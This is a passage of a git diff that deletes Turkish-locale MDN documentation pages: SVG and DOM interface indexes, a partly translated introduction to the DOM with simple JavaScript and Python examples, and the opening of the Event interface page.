<li>{{DOMxRef("SVGGraphicsElement")}}</li> - <li>{{DOMxRef("SVGHatchElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGHatchpathElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGHKernElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGImageElement")}}</li> - <li>{{DOMxRef("SVGLinearGradientElement")}}</li> - <li>{{DOMxRef("SVGLineElement")}}</li> - <li>{{DOMxRef("SVGMarkerElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGMaskElement")}}</li> - <li>{{DOMxRef("SVGMeshElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGMeshGradientElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGMeshpatchElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGMeshrowElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGMetadataElement")}}</li> - <li>{{DOMxRef("SVGMissingGlyphElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGMPathElement")}}</li> - <li>{{DOMxRef("SVGPathElement")}}</li> - <li>{{DOMxRef("SVGPatternElement")}}</li> - <li>{{DOMxRef("SVGPolylineElement")}}</li> - <li>{{DOMxRef("SVGPolygonElement")}}</li> - <li>{{DOMxRef("SVGRadialGradientElement")}}</li> - <li>{{DOMxRef("SVGRectElement")}}</li> - <li>{{DOMxRef("SVGScriptElement")}}</li> - <li>{{DOMxRef("SVGSetElement")}}</li> - <li>{{DOMxRef("SVGSolidcolorElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGStopElement")}}</li> - <li>{{DOMxRef("SVGStyleElement")}}</li> - <li>{{DOMxRef("SVGSVGElement")}}</li> - <li>{{DOMxRef("SVGSwitchElement")}}</li> - <li>{{DOMxRef("SVGSymbolElement")}}</li> - <li>{{DOMxRef("SVGTextContentElement")}}</li> - <li>{{DOMxRef("SVGTextElement")}}</li> - <li>{{DOMxRef("SVGTextPathElement")}}</li> - <li>{{DOMxRef("SVGTextPositioningElement")}}</li> - <li>{{DOMxRef("SVGTitleElement")}}</li> - <li>{{DOMxRef("SVGTRefElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGTSpanElement")}}</li> - <li>{{DOMxRef("SVGUseElement")}}</li> - <li>{{DOMxRef("SVGUnknownElement")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("SVGViewElement")}}</li> - <li>{{DOMxRef("SVGVKernElement")}} {{Deprecated_Inline}}</li> -</ul> -</div> - -<h3 id="SVG_data_type_interfaces">SVG data type interfaces</h3> - -<p>Here are the DOM APIs for data types used in the definitions of SVG properties and attributes.</p> - -<div class="note"> -<p><strong>Note:</strong> Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed; in addition, they have a length property indicating the number of items in the lists: {{DOMxRef("SVGLengthList")}}, {{DOMxRef("SVGNumberList")}}, {{DOMxRef("SVGPathSegList")}}, and {{DOMxRef("SVGPointList")}}.</p> -</div> - -<h4 id="Static_type">Static type</h4> - -<div class="index"> -<ul> - <li>{{DOMxRef("SVGAngle")}}</li> - <li>{{DOMxRef("SVGColor")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGICCColor")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGElementInstance")}}</li> - <li>{{DOMxRef("SVGElementInstanceList")}}</li> - <li>{{DOMxRef("SVGLength")}}</li> - <li>{{DOMxRef("SVGLengthList")}}</li> - <li>{{DOMxRef("SVGMatrix")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGNameList")}}</li> - <li>{{DOMxRef("SVGNumber")}}</li> - <li>{{DOMxRef("SVGNumberList")}}</li> - <li>{{DOMxRef("SVGPaint")}}</li> - <li>{{DOMxRef("SVGPathSeg")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegClosePath")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegMovetoAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegMovetoRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoCubicAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoCubicRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoQuadraticAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoQuadraticRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegArcAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegArcRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoHorizontalAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoHorizontalRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoVerticalAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegLinetoVerticalRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothRel")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPathSegList")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPoint")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPointList")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGPreserveAspectRatio")}}</li> - <li>{{DOMxRef("SVGRect")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGStringList")}}</li> - <li>{{DOMxRef("SVGTransform")}}</li> - <li>{{DOMxRef("SVGTransformList")}}</li> -</ul> -</div> - -<h4 id="Animated_type">Animated type</h4> - -<div class="index"> -<ul> - <li>{{DOMxRef("SVGAnimatedAngle")}}</li> - <li>{{DOMxRef("SVGAnimatedBoolean")}}</li> - <li>{{DOMxRef("SVGAnimatedEnumeration")}}</li> - <li>{{DOMxRef("SVGAnimatedInteger")}}</li> - <li>{{DOMxRef("SVGAnimatedLength")}}</li> - <li>{{DOMxRef("SVGAnimatedLengthList")}}</li> - <li>{{DOMxRef("SVGAnimatedNumber")}}</li> - <li>{{DOMxRef("SVGAnimatedNumberList")}}</li> - <li>{{DOMxRef("SVGAnimatedPathData")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGAnimatedPoints")}}</li> - <li>{{DOMxRef("SVGAnimatedPreserveAspectRatio")}}</li> - <li>{{DOMxRef("SVGAnimatedRect")}}</li> - <li>{{DOMxRef("SVGAnimatedString")}}</li> - <li>{{DOMxRef("SVGAnimatedTransformList")}}</li> -</ul> -</div> - -<h3 id="SMIL_related_interfaces">SMIL related interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("ElementTimeControl")}}</li> - <li>{{DOMxRef("TimeEvent")}}</li> -</ul> -</div> - -<h3 id="Other_SVG_interfaces">Other SVG interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("GetSVGDocument")}}</li> - <li>{{DOMxRef("ShadowAnimation")}}</li> - <li>{{DOMxRef("SVGColorProfileRule")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGCSSRule")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGDocument")}}</li> - <li>{{DOMxRef("SVGException")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGExternalResourcesRequired")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFitToViewBox")}}</li> - <li>{{DOMxRef("SVGLangSpace")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGLocatable")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGRenderingIntent")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGStylable")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGTests")}}</li> - <li>{{DOMxRef("SVGTransformable")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGUnitTypes")}}</li> - <li>{{DOMxRef("SVGUseElementShadowRoot")}}</li> - <li>{{DOMxRef("SVGURIReference")}}</li> - <li>{{DOMxRef("SVGViewSpec")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGZoomAndPan")}}</li> - <li>{{DOMxRef("SVGZoomEvent")}} {{Deprecated_Inline}}</li> -</ul> -</div> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM4")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM3 Core")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>g</td> - </tr> - <tr> - <td>{{SpecName("DOM1")}}</td> - <td>{{Spec2("DOM1")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a></li> - <li><a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model (CSSOM)</a></li> -</ul> diff --git a/files/tr/web/api/document_object_model/introduction/index.html b/files/tr/web/api/document_object_model/introduction/index.html deleted file mode 100644 index ace5f3c84b..0000000000 --- a/files/tr/web/api/document_object_model/introduction/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: DOM giriş -slug: Web/API/Document_Object_Model/Introduction -translation_of: Web/API/Document_Object_Model/Introduction ---- -<p><span class="seoSummary"><strong>Document Object Model</strong> (<strong>DOM</strong>) web dökümanında oluşturulan içerik ve yapılar gibi nesnelerin veri gösterimidir.Bu klavuzda,DOM' u kısaca göstereceğiz.</span>O halde DOM hafızada nasıl HTML ya da XML dökümanını temsil eder ve web içerik ve uygulamaları için API nasıl kullanılır bakalım.</p> - -<h2 id="What_is_the_DOM" name="What_is_the_DOM">DOM nedir ?</h2> - -<p>Document Object Model (DOM) , HTML ve XML için programlama arayüzüdür. Sayfayı temsil eder ve böylece program döküman yapısını, stilini ve içeriğini değiştirebilir. DOM dökümanı nodes(düğümler) ve objects(nesneler) şeklinde temsil eder. Bu sayede programlama dili sayfayla bağlantı kurabilir.</p> - -<p>Web sayfası bir dökümandır. Bu döküman tarayıcı penceresinde ya da HTML kaynağı gibi görüntülenebilir. Ama her iki durumda da aynı belge vardır. DOM aynı belgeyi temsil eder bu yüzden değiştirilebilir. DOM web sayfasında nesne yönelimli temsilidir, ki javascript gibi script dilleri ile modifiye edilebilir.</p> - -<p><a class="external external-icon" href="http://www.w3.org/DOM/">W3C DOM</a> <span class="tlid-translation translation" lang="tr"><span title=""> ve </span></span> <a class="external external-icon" href="https://dom.spec.whatwg.org">WHATWG DOM</a> <span class="tlid-translation translation" lang="tr"><span title=""> standartları çoğu modern tarayıcıda uygulanmaktadır.</span></span></p> - -<p>For example, the standard DOM specifies that the <code>getElementsByTagName</code> method in the code below must return a list of all the <code><p></code> elements in the document:</p> - -<pre class="brush: js notranslate">const paragraphs = document.getElementsByTagName("p"); -// paragraphs[0] is the first <p> element -// paragraphs[1] is the second <p> element, etc. -alert(paragraphs[0].nodeName); -</pre> - -<p>All of the properties, methods, and events available for manipulating and creating web pages are organized into objects (for example, the <code>document</code> object that represents the document itself, the <code>table</code> object that implements the special {{domxref("HTMLTableElement")}} DOM interface for accessing HTML tables, and so forth). This documentation provides an object-by-object reference to the DOM.</p> - -<p>The modern DOM is built using multiple APIs that work together. The core <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a> defines the objects that fundamentally describe a document and the objects within it. This is expanded upon as needed by other APIs that add new features and capabilities to the DOM. For example, the <a href="/en-US/docs/Web/API/HTML_DOM">HTML DOM API</a> adds support for representing HTML documents to the core DOM.</p> - -<h2 id="DOM_and_JavaScript" name="DOM_and_JavaScript">DOM and JavaScript</h2> - -<p>The short example above, like nearly all of the examples in this reference, is {{glossary("JavaScript")}}. That is to say, it's <em>written</em> in JavaScript, but it <em>uses</em> the DOM to access the document and its elements. The DOM is not a programming language, but without it, the JavaScript language wouldn't have any model or notion of web pages, HTML documents, XML documents, and their component parts (e.g. elements). Every element in a document—the document as a whole, the head, tables within the document, table headers, text within the table cells—is part of the document object model for that document, so they can all be accessed and manipulated using the DOM and a scripting language like JavaScript.</p> - -<p>In the beginning, JavaScript and the DOM were tightly intertwined, but eventually, they evolved into separate entities. The page content is stored in the DOM and may be accessed and manipulated via JavaScript, so that we may write this approximative equation:</p> - -<p>API = DOM + JavaScript</p> - -<p>The DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus exclusively on JavaScript in this reference documentation, implementations of the DOM can be built for any language, as this Python example demonstrates:</p> - -<pre class="brush: python notranslate"># Python DOM example -import xml.dom.minidom as m -doc = m.parse(r"C:\Projects\Py\chap1.xml") -doc.nodeName # DOM property of document object -p_list = doc.getElementsByTagName("para") -</pre> - -<p>For more information on what technologies are involved in writing JavaScript on the web, see <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p> - -<h2 id="How_Do_I_Access_the_DOM.3F" name="How_Do_I_Access_the_DOM.3F">Accessing the DOM</h2> - -<p>You don't have to do anything special to begin using the DOM. Different browsers have different implementations of the DOM, and these implementations exhibit varying degrees of conformance to the actual DOM standard (a subject we try to avoid in this documentation), but every web browser uses some document object model to make web pages accessible via JavaScript.</p> - -<p>When you create a script–whether it's inline in a <code><script></code> element or included in the web page by means of a script loading instruction–you can immediately begin using the API for the {{domxref("document")}} or {{domxref("Window", "window")}} elements to manipulate the document itself or to get at the children of that document, which are the various elements in the web page. Your DOM programming may be something as simple as the following, which displays an alert message by using the {{domxref("window.alert", "alert()")}} function from the {{domxref("Window", "window")}} object, or it may use more sophisticated DOM methods to actually create new content, as in the longer example below.</p> - -<p>This following JavaScript will display an alert when the document is loaded (and when the whole DOM is available for use):</p> - -<pre class="brush: html notranslate"><body onload="window.alert('Welcome to my home page!');"> -</pre> - -<p>Another example. This function creates a new H1 element, adds text to that element, and then adds the <code>H1</code> to the tree for this document:</p> - -<pre class="brush: html notranslate"><html> - <head> - <script> - // run this function when the document is loaded - window.onload = function() { - - // create a couple of elements in an otherwise empty HTML page - const heading = document.createElement("h1"); - const heading_text = document.createTextNode("Big Head!"); - heading.appendChild(heading_text); - document.body.appendChild(heading); - } - </script> - </head> - <body> - </body> -</html> -</pre> - -<h2 id="Important_Data_Types" name="Important_Data_Types">Fundamental data types</h2> - -<p>This reference tries to describe the various objects and types in simple terms. But there are a number of different data types being passed around the API that you should be aware of.</p> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> Because the vast majority of code that uses the DOM revolves around manipulating HTML documents, it's common to refer to the nodes in the DOM as <strong>elements</strong>, although strictly speaking not every node is an element.</p> -</div> - -<p>The following table briefly describes these data types.</p> - -<table class="standard-table"> - <thead> - <tr> - <th>Data type (Interface)</th> - <th>Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{domxref("Document")}}</td> - <td>When a member returns an object of type <code>document</code> (e.g., the <code>ownerDocument</code> property of an element returns the <code>document</code> to which it belongs), this object is the root <code>document</code> object itself. The <a href="/en-US/docs/Web/API/Document">DOM <code>document</code> Reference</a> chapter describes the <code>document</code> object.</td> - </tr> - <tr> - <td>{{domxref("Node")}}</td> - <td>Every object located within a document is a node of some kind. In an HTML document, an object can be an element node but also a text node or attribute node.</td> - </tr> - <tr> - <td>{{domxref("Element")}}</td> - <td>The <code>element</code> type is based on <code>node</code>. It refers to an element or a node of type <code>element</code> returned by a member of the DOM API. Rather than saying, for example, that the {{domxref("document.createElement()")}} method returns an object reference to a <code>node</code>, we just say that this method returns the <code>element</code> that has just been created in the DOM. <code>element</code> objects implement the DOM <code>Element</code> interface and also the more basic <code>Node</code> interface, both of which are included together in this reference. In an HTML document, elements are further enhanced by the HTML DOM API's {{domxref("HTMLElement")}} interface as well as other interfaces describing capabilities of specific kinds of elements (for instance, {{domxref("HTMLTableElement")}} for {{HTMLElement("table")}} elements).</td> - </tr> - <tr> - <td>{{domxref("NodeList")}}</td> - <td>A <code>nodeList</code> is an array of elements, like the kind that is returned by the method {{domxref("document.getElementsByTagName()")}}. Items in a <code>nodeList</code> are accessed by index in either of two ways: - <ul> - <li>list.item(1)</li> - <li>list[1]</li> - </ul> - These two are equivalent. In the first, <code>item()</code> is the single method on the <code>nodeList</code> object. The latter uses the typical array syntax to fetch the second item in the list.</td> - </tr> - <tr> - <td>{{domxref("Attribute")}}</td> - <td>When an <code>attribute</code> is returned by a member (e.g., by the <code>createAttribute()</code> method), it is an object reference that exposes a special (albeit small) interface for attributes. Attributes are nodes in the DOM just like elements are, though you may rarely use them as such.</td> - </tr> - <tr> - <td>{{domxref("NamedNodeMap")}}</td> - <td>A <code>namedNodeMap</code> is like an array, but the items are accessed by name or index, though this latter case is merely a convenience for enumeration, as they are in no particular order in the list. A <code>namedNodeMap</code> has an <code>item()</code> method for this purpose, and you can also add and remove items from a <code>namedNodeMap</code>.</td> - </tr> - </tbody> -</table> - -<p>There are also some common terminology considerations to keep in mind. It's common to refer to any {{domxref("Attribute")}} node as simply an <code>attribute</code>, for example, and to refer to an array of DOM nodes as a <code>nodeList</code>. You'll find these terms and others to be introduced and used throughout the documentation.</p> - -<h2 id="DOM_interfaces" name="DOM_interfaces">DOM interfaces</h2> - -<p>This guide is about the objects and the actual <em>things</em> you can use to manipulate the DOM hierarchy. There are many points where understanding how these work can be confusing. For example, the object representing the HTML <code>form</code> element gets its <code>name</code> property from the <code>HTMLFormElement</code> interface but its <code>className</code> property from the <code>HTMLElement</code> interface. In both cases, the property you want is simply in that form object.</p> - -<p>But the relationship between objects and the interfaces that they implement in the DOM can be confusing, and so this section attempts to say a little something about the actual interfaces in the DOM specification and how they are made available.</p> - -<h3 id="Interfaces_and_Objects" name="Interfaces_and_Objects">Interfaces and Objects</h3> - -<p>Many objects borrow from several different interfaces. The table object, for example, implements a specialized {{domxref("HTMLTableElement")}} interface, which includes such methods as <code>createCaption</code> and <code>insertRow</code>. But since it's also an HTML element, <code>table</code> implements the <code>Element</code> interface described in the DOM {{domxref("Element")}} Reference chapter. And finally, since an HTML element is also, as far as the DOM is concerned, a node in the tree of nodes that make up the object model for an HTML or XML page, the table object also implements the more basic <code>Node</code> interface, from which <code>Element</code> derives.</p> - -<p>When you get a reference to a <code>table</code> object, as in the following example, you routinely use all three of these interfaces interchangeably on the object, perhaps without knowing it.</p> - -<pre class="brush: js notranslate">const table = document.getElementById("table"); -const tableAttrs = table.attributes; // Node/Element interface -for (let i = 0; i < tableAttrs.length; i++) { - // HTMLTableElement interface: border attribute - if(tableAttrs[i].nodeName.toLowerCase() == "border") - table.border = "1"; -} -// HTMLTableElement interface: summary attribute -table.summary = "note: increased border"; -</pre> - -<h3 id="Core_Interfaces_in_the_DOM" name="Core_Interfaces_in_the_DOM">Core Interfaces in the DOM</h3> - -<p>This section lists some of the most commonly-used interfaces in the DOM. The idea is not to describe what these APIs do here but to give you an idea of the sorts of methods and properties you will see very often as you use the DOM. These common APIs are used in the longer examples in the <a href="/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a> chapter at the end of this book.</p> - -<p>The <code>document</code> and <code>window</code> objects are the objects whose interfaces you generally use most often in DOM programming. In simple terms, the <code>window</code> object represents something like the browser, and the <code>document</code> object is the root of the document itself. <code>Element</code> inherits from the generic <code>Node</code> interface, and together these two interfaces provide many of the methods and properties you use on individual elements. These elements may also have specific interfaces for dealing with the kind of data those elements hold, as in the <code>table</code> object example in the previous section.</p> - -<p>The following is a brief list of common APIs in web and XML page scripting using the DOM.</p> - -<ul> - <li><code>{{domxref("document.getElementById", "", "", "1")}}(id)</code></li> - <li><code>document.{{domxref("Element.getElementsByTagName", "getElementsByTagName", "", "1")}}(name)</code></li> - <li><code>{{domxref("document.createElement", "", "", "1")}}(name)</code></li> - <li><code>parentNode.{{domxref("Node.appendChild", "appendChild", "", "1")}}(node)</code></li> - <li><code>element.{{domxref("element.innerHTML", "innerHTML", "", "1")}}</code></li> - <li><code>element.{{domxref("HTMLElement.style", "style", "", "1")}}.left</code></li> - <li><code>element.{{domxref("element.setAttribute", "setAttribute", "", "1")}}()</code></li> - <li><code>element.{{domxref("element.getAttribute", "getAttribute", "", "1")}}()</code></li> - <li><code>element.{{domxref("EventTarget.addEventListener", "addEventListener", "", "1")}}()</code></li> - <li><code>{{domxref("window.content", "", "", "1")}}</code></li> - <li><code>{{domxref("window.onload", "", "", "1")}}</code></li> - <li><code>{{domxref("window.scrollTo", "", "", "1")}}()</code></li> -</ul> - -<h2 id="Testing_the_DOM_API" name="Testing_the_DOM_API">Testing the DOM API</h2> - -<p>This document provides samples for every interface that you can use in your own web development. In some cases, the samples are complete HTML pages, with the DOM access in a <code><script></code> element, the interface (e.g, buttons) necessary to fire up the script in a form, and the HTML elements upon which the DOM operates listed as well. When this is the case, you can cut and paste the example into a new HTML document, save it, and run the example from the browser.</p> - -<p>There are some cases, however, when the examples are more concise. To run examples that only demonstrate the basic relationship of the interface to the HTML elements, you may want to set up a test page in which interfaces can be easily accessed from scripts. The following very simple web page provides a <code><script></code> element in the header in which you can place functions that test the interface, a few HTML elements with attributes that you can retrieve, set, or otherwise manipulate, and the web user interface necessary to call those functions from the browser.</p> - -<p>You can use this test page or create a similar one to test the DOM interfaces you are interested in and see how they work on the browser platform. You can update the contents of the <code>test()</code> function as needed, create more buttons, or add elements as necessary.</p> - -<pre class="brush: html notranslate"><html> -<head> - <title>DOM Tests</title> - <script> - function setBodyAttr(attr, value) { - if (document.body) document.body[attr] = value; - else throw new Error("no support"); - } - </script> -</head> -<body> - <div style="margin: .5in; height: 400px;"> - <p><b><tt>text</tt></b></p> - <form> - <select onChange="setBodyAttr('text', - this.options[this.selectedIndex].value);"> - <option value="black">black</option> - <option value="red">red</option> - </select> - <p><b><tt>bgColor</tt></b></p> - <select onChange="setBodyAttr('bgColor', - this.options[this.selectedIndex].value);"> - <option value="white">white</option> - <option value="lightgrey">gray</option> - </select> - <p><b><tt>link</tt></b></p> - <select onChange="setBodyAttr('link', - this.options[this.selectedIndex].value);"> - <option value="blue">blue</option> - <option value="green">green</option> - </select> - <small> - <a href="http://some.website.tld/page.html" id="sample"> - (sample link) - </a> - </small><br /> - <input type="button" value="version" onclick="ver()" /> - </form> - </div> -</body> -</html> -</pre> - -<p>To test a lot of interfaces in a single page—for example, a "suite" of properties that affect the colors of a web page—you can create a similar test page with a whole console of buttons, textfields, and other HTML elements. The following screenshot gives you some idea of how interfaces can be grouped together for testing.</p> - -<figure> -<figcaption>Figure 0.1 Sample DOM Test Page</figcaption> -<img alt="Image:DOM_Ref_Introduction_to_the_DOM.gif" class="internal" src="/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif"></figure> - -<p>In this example, the drop-down menus dynamically update such DOM—accessible aspects of the web page as its background color (<code>bgColor</code>), the color of the hyperlinks (<code>aLink</code>), and color of the text (<code>text</code>). However, you design your test pages, testing the interfaces as you read about them is an important part of learning how to use the DOM effectively.</p> - -<h2 id="Subnav">Subnav</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li> - <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li> - <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li> - <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li> -</ul> - -<div>{{DefaultAPISidebar("DOM")}}</div> diff --git a/files/tr/web/api/event/index.html b/files/tr/web/api/event/index.html deleted file mode 100644 index 5b9e58046e..0000000000 --- a/files/tr/web/api/event/index.html +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: Event -slug: Web/API/Event -tags: - - API - - DOM - - Event - - Interface - - NeedsTranslation - - Reference - - TopicStub - - UI - - listener -translation_of: Web/API/Event ---- -<p>{{APIRef("DOM")}}</p> - -<p>The <code><strong>Event</strong></code> interface represents any event which takes place in the DOM; some are user-generated (such as mouse or keyboard events), while others are generated by APIs (such as events that indicate an animation has finished running, a video has been paused, and so forth). While events are usually triggered by such "external" sources, they can also be triggered programmatically, such as by calling the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/click" title="The HTMLElement.click() method simulates a mouse click on an element."><code>HTMLElement.click()</code></a> method of an element, or by defining the event, then sending it to a specified target using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent" title="Dispatches an Event at the specified EventTarget, (synchronously) invoking the affected EventListeners in the appropriate order. The normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchEvent()."><code>EventTarget.dispatchEvent()</code></a>. There are many types of events, some of which use other interfaces based on the main <code>Event</code> interface. <code>Event</code> itself contains the properties and methods which are common to all events.</p> - -<p>Many DOM elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them. Event-handlers are usually connected (or "attached") to various <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element">HTML elements</a> (such as <button>, <div>, <span>, etc.) using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener" title="The EventTarget method addEventListener() sets up a function that will be called whenever the specified event is delivered to the target."><code>EventTarget.addEventListener()</code></a>, and this generally replaces using the old HTML <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">event handler attributes</a>. Further, when properly added, such handlers can also be disconnected if needed using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener" title="The EventTarget.removeEventListener() method removes from the EventTarget an event listener previously registered with EventTarget.addEventListener(). The event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see Matching event listeners for removal"><code>removeEventListener()</code></a>. Note that one element can have several such handlers, even for the exact same event, particularly if separate, independent code modules attach them, each for its own independent purposes (for example, a webpage with an advertising-module and statistics-module both monitoring video-watching). When there are many nested elements, each with its own handler(s), event processing can become very complicated -- especially where a parent element receives the very same event as its child elements because "spatially" they overlap so the event technically occurs in both, and the processing order of such events depends on the <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">Event bubbling and capture</a> settings of each handler triggered.</p> - -<h2 id="Introduction" name="Introduction">Interfaces based on Event</h2> - -<p>Below is a list of interfaces which are based on the main <code>Event</code> interface, with links to their respective documentation in the MDN API reference. Note that all event interfaces have names which end in "Event".</p> - -<div class="index"> -<ul> - <li>{{domxref("AnimationEvent")}}</li> - <li>{{domxref("AudioProcessingEvent")}}</li> - <li>{{domxref("BeforeInputEvent")}}</li> - <li>{{domxref("BeforeUnloadEvent")}}</li> - <li>{{domxref("BlobEvent")}}</li> - <li>{{domxref("ClipboardEvent")}}</li> - <li>{{domxref("CloseEvent")}}</li> - <li>{{domxref("CompositionEvent")}}</li> - <li>{{domxref("CSSFontFaceLoadEvent")}}</li> - <li>{{domxref("CustomEvent")}}</li> - <li>{{domxref("DeviceLightEvent")}}</li> - <li>{{domxref("DeviceMotionEvent")}}</li> - <li>{{domxref("DeviceOrientationEvent")}}</li> - <li>{{domxref("DeviceProximityEvent")}}</li> - <li>{{domxref("DOMTransactionEvent")}}</li> - <li>{{domxref("DragEvent")}}</li> - <li>{{domxref("EditingBeforeInputEvent")}}</li> - <li>{{domxref("ErrorEvent")}}</li> - <li>{{domxref("FetchEvent")}}</li> - <li>{{domxref("FocusEvent")}}</li> - <li>{{domxref("GamepadEvent")}}</li> - <li>{{domxref("HashChangeEvent")}}</li> - <li>{{domxref("IDBVersionChangeEvent")}}</li> - <li>{{domxref("InputEvent")}}</li> - <li>{{domxref("KeyboardEvent")}}</li> - <li>{{domxref("MediaStreamEvent")}}</li> - <li>{{domxref("MessageEvent")}}</li> - <li>{{domxref("MouseEvent")}}</li> - <li>{{domxref("MutationEvent")}}</li> - <li>{{domxref("OfflineAudioCompletionEvent")}}</li> - <li>{{domxref("PageTransitionEvent")}}</li> - <li>{{domxref("PaymentRequestUpdateEvent")}}</li> - <li>{{domxref("PointerEvent")}}</li> - <li>{{domxref("PopStateEvent")}}</li> - <li>{{domxref("ProgressEvent")}}</li> - <li>{{domxref("RelatedEvent")}}</li> - <li>{{domxref("RTCDataChannelEvent")}}</li> - <li>{{domxref("RTCIdentityErrorEvent")}}</li> - <li>{{domxref("RTCIdentityEvent")}}</li> - <li>{{domxref("RTCPeerConnectionIceEvent")}}</li> - <li>{{domxref("SensorEvent")}}</li> - <li>{{domxref("StorageEvent")}}</li> - <li>{{domxref("SVGEvent")}}</li> - <li>{{domxref("SVGZoomEvent")}}</li> - <li>{{domxref("TimeEvent")}}</li> - <li>{{domxref("TouchEvent")}}</li> - <li>{{domxref("TrackEvent")}}</li> - <li>{{domxref("TransitionEvent")}}</li> - 